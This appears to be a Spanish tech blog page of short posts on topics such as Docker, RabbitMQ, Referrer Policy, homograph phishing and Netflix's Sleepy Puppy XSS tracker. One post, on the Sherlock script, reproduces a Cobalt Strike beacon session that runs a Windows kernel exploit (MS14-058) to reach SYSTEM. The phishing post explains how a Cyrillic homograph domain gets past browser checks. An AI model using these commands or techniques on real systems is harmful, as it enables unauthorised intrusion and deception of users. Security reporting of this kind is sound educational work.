El futuro de #Facebook: Escribir con la mente y escuchar con la piel.

Resultado de imagen para facebook

Building 8 es un equipo de expertos reclutados por la red social Facebook cuyo objetivo consiste en el desarrollo de productos basados en el uso de realidad aumentada, inteligencia artificial, conectividad y realidad virtual. El grupo de 60 ingenieros ubicados en la oficina de Menlo Park, California, trabajan en productos imposibles que podrían cambiar el rumbo de la red social y con ello, la manera de comunicación entre las personas.

Establecemos y desarrollamos acuerdos con universidades, pequeñas y grandes empresas, y fijamos objetivos claros para transformar nuestros progresos en productos que puedan ser distribuidos a gran escala“, también comentan en la página web de la compañía que “Trabajamos rápido, con plazos cortos y estrictos“. El grupo cuenta con ingenieros experimentados en proyectos importantes que proceden de compañías exitosas como Google, Motorola o Apple.

El objetivo actual sería escribir con la mente y escuchar con la piel. Después de tres años de silencio, la compañía desveló alguno de sus proyectos entre los que se encuentra una interfaz de comunicación que solo usa el cerebro del usuario o un dispositivo que permite escuchar a través de la piel.

Desarrollando un #timeline responsivo, solo con #HTML y #CSS

Cuando empiezas a maquetar tus primeras webs, tu objetivo principal es que la maqueta resultante sea lo más fiel posible al diseño que te han entregado. Es un trabajo difícil, pero muy satisfactorio, ver que has sido capaz de respetar todo lo que te han definido desde diseño.

Según va creciendo tu experiencia, esta fidelidad empieza a darse por supuesta, y el auténtico reto del maquetador es conseguir que el código que has usado para realizarla sea semántico,adecuado y sobre todo (al menos en mi caso) el mínimo posible. Conseguir “adelgazar” al máximo la cantidad de código HTML se ha convertido con los años en una auténtica obsesión, aunque creo que es una de las actividades más saludables que puede tener cualquier maquetador que se precie.

Read More

Implementación de una arquitectura #serverless. ¿Conocés?

La arquitectura de microservicios ha llegado para quedarse. Aquí les dejo escrito varios post sobre esta arquitectura, sus ventajas y por qué las empresas están usándola en el blog de Paradigma. Ahora sí, comencemos.

Esta arquitectura destaca por “no tener servidor”. Ahora mismo habrá muchos que estará pensando que me he vuelto loco, ya que si no hay servidor es imposible ejecutar el código. Efectivamente hay servidor, sólo que nosotros no tenemos que saber que existe, ni administrarlo ni preocuparnos de si esta disponible o no.

Con este artículo queremos ir un paso más allá y ver una arquitectura que muchas empresas están empezando a usar y que en algunos casos puede ser un buen sustituto de la arquitectura de microservicios. Hablamos de la arquitectura serverless, aunque podríamos llamarla arquitectura de nanoservicios. Para ello hablaremos de AWS Lambda.

Lambda1

Read More

Aprendiendo a programar con #Mimo

Minicursos dentro de una app para iOs, eso es lo que ofrece Mimo, aplicación que ya está preparando su versión android con características y objetivos semejantes: enseñar a programar sin necesidad de invertir mucho tiempo.

Por supuesto, hay que tener en cuenta que no estamos hablando de grandes cursos de programación que nos garanticen un puesto de trabajo en pocos meses, ni de proyectos que podamos incluir en nuestro CV, ni conocimientos que nos ayuden a programar el próximo Pokémon Go… pero sí son clases que pueden ayudarnos a entender mejor cómo funcionan algunos lenguajes de programación específicos.

C#, C++, Swift, Javascript… de momento tienen un pequeño conjunto de grupos ya completos, pero están pensando en aumentar la cantidad de recursos disponilbes, abriendo las puertas a otras áreas, como finanzas, ciencia, matemáticas o incluso preparación de exámenes específicos. Es posible también entrar en el mundo del JAVA con cursos orientados a la programación en plataforma android, algo cada vez más buscado.

El aspecto está bien cuidado, y el uso es bastante intuitivo, aunque todas las frases de ayuda en cada problema están en inglés, por lo que será necesario tener conocimientos básicos en dicho idioma.

Una buena idea bien realizada, llevando el concepto de píldoras de conocimiento al bolsillo de los usuarios, algo que muchos han estado intentando desde hace muchos años.

Nuevas técnicas de #Phishing

Se ha confirmado un problema en Chrome y Firefox que podría permitir la realización de ataques de phishing mediante el uso de caracteres Unicode. Conocidos como ataques homográficos, representan un problema que los navegadores intentan evitar, pero se ha descubierto una forma para evitar los controles actuales. Se puede visitarhttps://www.аррӏе.com/ para entender las implicaciones.
Ahora bien, las implicaciones en el mundo de la seguridad que pueden representar estos dominios son grandes, ya que muchos caracteres Unicode pueden ser difíciles de distinguir de los caracteres ASCII normales. De esta forma, es posible registrar dominios como “xn--pple-43d.com”, equivalente a “аpple.com” por el uso de la a en cirílico “а” (U+0430) en vez de la “a” en ASCII (U+0041). Este tipo de ataques son conocidos como homográficos.Con el uso de Punycode se pueden representar caracteres Unicode mediante el subconjunto de caracteres ASCII empleado para los nombres en Internet. De esta forma se pueden registrar dominios que hagan uso de caracteres no permitidos, por ejemplo podríamos registrar un dominio como España.com que quedaría como xn--espaa-rta.com. Evidentemente no es muy empleado porque para temas como el SEO, promoción y marca, no es muy eficiente. Queda raro que haya que escribir algo como xn--espaa-rta.com.Los navegadores modernos tienen mecanismos para evitar o limitar este tipo de ataques. En Chrome y Firefox la forma Unicode se esconde si un dominio contiene caracteres de varios lenguajes diferentes. De esta forma, por ejemplo el dominio “xn--pple-43d.com” aparecerá como tal (en vez de “аpple.com”) al contar con caracteres de dos lenguajes, de esta forma se evita la confusión con el dominio real.

Pero el sistema de protección ante ataques homográficos falla si todos los caracteres son sustituidos con un carácter similar del mismo lenguaje. El dominio “аррӏе.com” registrado como “xn--80ak6aa92e.com” evita el filtro al emplear únicamente caracteres cirílicos. Esta forma de evitar la protección afecta a Chrome y Firefox, mientras que Internet Explorer, Microsoft Edge y Safari se libran del problema.

El desarrollador Xudong Zheng (@Xudong_Zheng) reportó el fallo a Chrome y Firefox el 20 de enero de 2017 y confirma que ha quedado corregido en la rama de Chrome 59, aunque finalmente se incluirá en Chrome 58 que estará disponible en torno a la semana que viene. Por ahora sigue sin corregir en Firefox ya que no han decidido si está dentro de su alcance.

Como contramedida en Firefox se puede configurar desde about:config y asignar network.IDN_show_punycode a true. Esto fuerza a Firefox a mostrar siempre los dominios IDN en su forma Punycode, lo que permite identificar los dominios maliciosos.

Fuente: Una al día

Entendiendo sobre colas de mensajes con #RabbitMQ

¿Qué son las colas de mensajes?

Es posible que alguna vez te hayas conseguido con el nombre message queue o su acrónimo MQ navegando por la red, si volvemos a los conceptos básicos de la programación de pilas y colas sabremos que es un concepto bastante sencillo donde los emisores producen mensajes y para que estos lleguen a su destinatario deben ser entregados a un intercambiador que los colocará en la cola del respectivo destinatario, finalmente el destinatario puede ir progresivamente desencolando y procesando los mensajes o dejar que el intercambiador se los haga llegar, esto por medio de diferentes tipos de rutas.

Por lo tanto podemos ver el concepto de las colas de mensajes como un intermediario entre los emisores y los destinatarios, o si lo orientamos a un escenario más real, entre clientes y servidores o publicadores y consumidores.

Read More

Entendiendo “#Referrer Policy”

Una de las mayores amenazas para nuestra privacidad cuando navegamos por Internet es el seguimiento que realizan las webs. Cuando pulsamos sobre un enlace, la web a la que llegamos sabe perfectamente desde dónde lo hemos hecho, algo muy útil para analítica pero una grave violación de nuestra privacidad. Por suerte, gracias a las Referrer Policy, poco a poco, los administradores web pueden tener un mayor control sobre el seguimiento que se realiza a sus visitantes y ayudarles a que su navegación sea lo más privada posible.

Las Referrer Policy con una serie de cabeceras web que llevan ya bastante tiempo disponibles, y muchos navegadores como Firefox y Mozilla ya contaban con su soporte desde hace tiempo, sin embargo, no ha sido hasta enero de este mismo año cuando la W3C ha empezado a recomendarlas en la programación de páginas web con el fin de que los usuarios puedan disfrutar de una navegación lo más privada posible, lejos del seguimiento que realizan las webs.

Google Chrome, Mozilla Firefox y Opera son compatibles con estas nuevas cabeceras y las reconocen sin problemas, igual que el navegador base de Android, Safari en iOS y Google Chrome para ambos sistemas móviles. Sin embargo, Internet Explorer y Opera Mini no son compatibles, a día de hoy, con ellas. Además, Microsoft Edge y Safari son compatibles con ellas parcialmente, por lo que solo pueden trabajar con algunas de ellas pero no con todas.

Así es la cabecera “ReferrerPolicy”

A la hora de configurar esta cabecera podemos asignarla 9 parámetros diferentes, los cuales vamos a ver a continuación.

  1. “”: Este parámetro vacío indica que, aunque la cabecera esté declarada, no se quiere utilizar ninguna Referrer Policy, por lo que el rastreo y el seguimiento serán los de siempre.
  2. no-referrer: indica que nunca se envíe el origen del visitante al acceder a un link. De esta manera, todos los usuarios que llegan a una web desde otra configurada como no-referrer aparecerán con el origen NULL.
  3. no-referrer-when-downgrade: este parámetro hará que el navegador no envíe seguimiento cuando vayamos a visitar una web HTTP desde una HTTPS, aunque siempre se enviará cuando no sea así.
  4. same-origin: solo enviará el origen cuando el destino y el origen sean el mismo, por ejemplo, de una web HTTPS a una subweb de la misma también con HTTPS.
  5. origin: cuando accedamos a un enlace nos mostrará la URL principal de la página desde la que hemos accedido, pero no la URL completa a la subpágina que estábamos visitando.
  6. strict-origin: igual que la anterior, pero solo para conexiones HTTPS. Las conexiones HTTP devolverán un NULL.
  7. origin-when-cross-origin: se enviará la URL completa en las consultas internas, pero se enviará la URL general cuando sean consultas cruzadas (desde distintas webs o protocolos).
  8. strict-origin-when-cross-origin: similar a la anterior, pero cuando hay cambio de HTTPS a HTTP se devolverá un NULL.
  9. unsafe-url: siempre se enviará la URL completa.

Cómo comprobar las cabeceras Referrer Policy de cualquier página web

Si queremos saber cómo tiene una página web concreta configuradas sus cabeceras en cuanto a la privacidad, podemos hacerlo fácilmente realizando una simple consulta en la web SecurityHeaders.

En esta página, introduciremos la dirección web que queremos analizar y pulsaremos sobre “Scan”. En unos segundos, esta web nos dirá cómo está configurada la página web en cuanto al bloqueo del seguimiento.Cabeceras Mozilla

Como hemos dicho, estas cabeceras están recomendadas por la W3C desde el 26 de enero de 2017, por lo que el número de páginas web que ya cuentan con estas cabeceras es bastante pequeño, aunque se espera que, poco a poco, cada vez vaya siendo mayor.

Fuente: SeguInfo

Conceptos de #Docker

¿Qué es Docker?

La idea detrás de Docker es crear contenedores ligeros y portables para las aplicaciones software que puedan ejecutarse en cualquier máquina con Docker instalado, independientemente del sistema operativo que la máquina tenga por debajo, facilitando así también los despliegues.

¡Ala! Definición traducida de la documentación oficial, demasiada información en pocas frases, no me entero de nada. Bien, empecemos por lo primero ¿qué es un contenedor?

Este concepto ya es antiguo, y viene de Linux, pero por hacerte un símil con el mundo real, imagina en tu cabeza un contenedor de esos que suelen llevar los barcos de mercancías, que contiene distintos productos.

Resultado de imagen para docker

Es algo auto contenido en sí, que se puede llevar de un lado a otro de forma independiente, es portable.

Ahora, volviendo al software, para que podamos acceder como usuarios normales a una aplicación, dicha aplicación software necesita estar ejecutándose en una máquina, en un ordenador. Pero además, dependiendo del tipo de aplicación, dicho ordenador también necesita tener instaladas una serie de cosas para que la aplicación se ejecute correctamente: cierta versión de Java instalado, un servidor de aplicaciones (p.e tomcat, que es el software que realmente estará ejecutando mi aplicación y haciendo que pueda interactuar con ella).

Read More

#sherlock, un script en #PowerShell para escalar privilegios

Sherlock es un script en PowerShell de Rasta Mouse que revisa rápidamente la existencia de parches para vulnerabilidades de escalado de privilegios en Microsoft Windows.

Actualmente busca:

  • MS10-015 : User Mode to Ring (KiTrap0D)
  • MS10-092 : Task Scheduler
  • MS13-053 : NTUserMessageCall Win32k Kernel Pool Overflow
  • MS13-081 : TrackPopupMenuEx Win32k NULL Page
  • MS14-058 : TrackPopupMenu Win32k Null Pointer Dereference
  • MS15-051 : ClientCopyImage Win32k
  • MS15-078 : Font Driver Buffer Overflow
  • MS16-016 : ‘mrxdav.sys’ WebDAV
  • MS16-032 : Secondary Logon Handle Probado en: Windows 7 SP1 32-bit Windows 7 SP1 64-bit Windows 8 64-bit Windows 10 64-bit

Uso básico: 

beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are Win7-x64\Rasta

beacon> powershell-import C:\Users\Rasta\Desktop\Sherlock.ps1
[*] Tasked beacon to import: C:\Users\Rasta\Desktop\Sherlock.ps1
[+] host called home, sent: 2960 bytes

beacon> powershell Find-AllVulns
[*] Tasked beacon to run: Find-AllVulns
[+] host called home, sent: 21 bytes
[+] received output:

Title      : User Mode to Ring (KiTrap0D)
MSBulletin : MS10-015
CVEID      : 2010-0232
Link       : https://www.exploit-db.com/exploits/11199/
VulnStatus : Not supported on 64-bit systems

Title      : Task Scheduler .XML
MSBulletin : MS10-092
CVEID      : 2010-3338, 2010-3888
Link       : https://www.exploit-db.com/exploits/19930/
VulnStatus : Not Vulnerable

Title      : NTUserMessageCall Win32k Kernel Pool Overflow
MSBulletin : MS13-053
CVEID      : 2013-1300
Link       : https://www.exploit-db.com/exploits/33213/
VulnStatus : Not supported on 64-bit systems

Title      : TrackPopupMenuEx Win32k NULL Page
MSBulletin : MS13-081
CVEID      : 2013-3881
Link       : https://www.exploit-db.com/exploits/31576/
VulnStatus : Not supported on 64-bit systems

Title      : TrackPopupMenu Win32k Null Pointer Dereference
MSBulletin : MS14-058
CVEID      : 2014-4113
Link       : https://www.exploit-db.com/exploits/35101/
VulnStatus : Appears Vulnerable

Title      : ClientCopyImage Win32k
MSBulletin : MS15-051
CVEID      : 2015-1701, 2015-2433
Link       : https://www.exploit-db.com/exploits/37367/
VulnStatus : Appears Vulnerable

Title      : Font Driver Buffer Overflow
MSBulletin : MS15-078
CVEID      : 2015-2426, 2015-2433
Link       : https://www.exploit-db.com/exploits/38222/
VulnStatus : Not Vulnerable

Title      : 'mrxdav.sys' WebDAV
MSBulletin : MS16-016
CVEID      : 2016-0051
Link       : https://www.exploit-db.com/exploits/40085/
VulnStatus : Not supported on 64-bit systems

Title      : Secondary Logon Handle
MSBulletin : MS16-032
CVEID      : 2016-0099
Link       : https://www.exploit-db.com/exploits/39719/
VulnStatus : Appears Vulnerable

beacon> elevate ms14-058 smb
[*] Tasked beacon to elevate and spawn windows/beacon_smb/bind_pipe (127.0.0.1:1337)
[+] host called home, sent: 105015 bytes
[+] received output:
[*] Getting Windows version...
[*] Solving symbols...
[*] Requesting Kernel loaded modules...
[*] pZwQuerySystemInformation required length 51216
[*] Parsing SYSTEM_INFO...
[*] 173 Kernel modules found
[*] Checking module \SystemRoot\system32\ntoskrnl.exe
[*] Good! nt found as ntoskrnl.exe at 0x0264f000
[*] ntoskrnl.exe loaded in userspace at: 40000000
[*] pPsLookupProcessByProcessId in kernel: 0xFFFFF800029A21FC
[*] pPsReferencePrimaryToken in kernel: 0xFFFFF800029A59D0
[*] Registering class...
[*] Creating window...
[*] Allocating null page...
[*] Getting PtiCurrent...
[*] Good! dwThreadInfoPtr 0xFFFFF900C1E7B8B0
[*] Creating a fake structure at NULL...
[*] Triggering vulnerability...
[!] Executing payload...

[+] host called home, sent: 204885 bytes
[+] established link to child beacon: 192.168.56.105

[+] established link to parent beacon: 192.168.56.105
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 8 bytes
[*] You are NT AUTHORITY\SYSTEM (admin)


Proyecto Github: https://github.com/rasta-mouse/Sherlock

Fuente: hackplayers

Rastreando #XSS con Sleepy Puppy

Cross Site Scripting (XSS) es una vulnerabilidad que permite ejecutar código JavaScript en el navegador de la víctima sin su consentimiento. Por ejemplo, un XSS permite a un atacante, entre muchas posibilidades, mostrar el clásico mensaje mediante un pop-up, redirigir el navegador de la víctima a un sitio de terceros o robar las cookies de su sesión.

La herramienta que ocupa esta entrada es Sleepy Puppy y fue lanzada por Netflix en 2015 (sí, la Netflix que todos conocemos). Ésta permite, principalmente, mediante la inyección de determinados payloads en JavaScript, seguir la traza de las vulnerabilidades XSS obteniendo información de las víctimas del ataque. La información obtenida de éstas abarca desde cookies, hasta su user-agent, el código del DOM o una captura del sitio afectado (entre muchas más posibilidades).

La siguiente imagen (obtenida del blog de Netflix) muestra el proceso:

(fuente: http://techblog.netflix.com/2015/08/announcing-sleepy-puppy-cross-site.html)

En la imagen se observa que un atacante puede introducir un payload XSS en determinada parte de una aplicación, por ejemplo, como comentario a una entrada de un blog. Suponiendo que exista una vulnerabilidad de Cross Site Scripting al mostrar el comentario, todos los usuarios que visiten la entrada quedarán registrados en el panel de control de Sleepy Pyppy.

Read More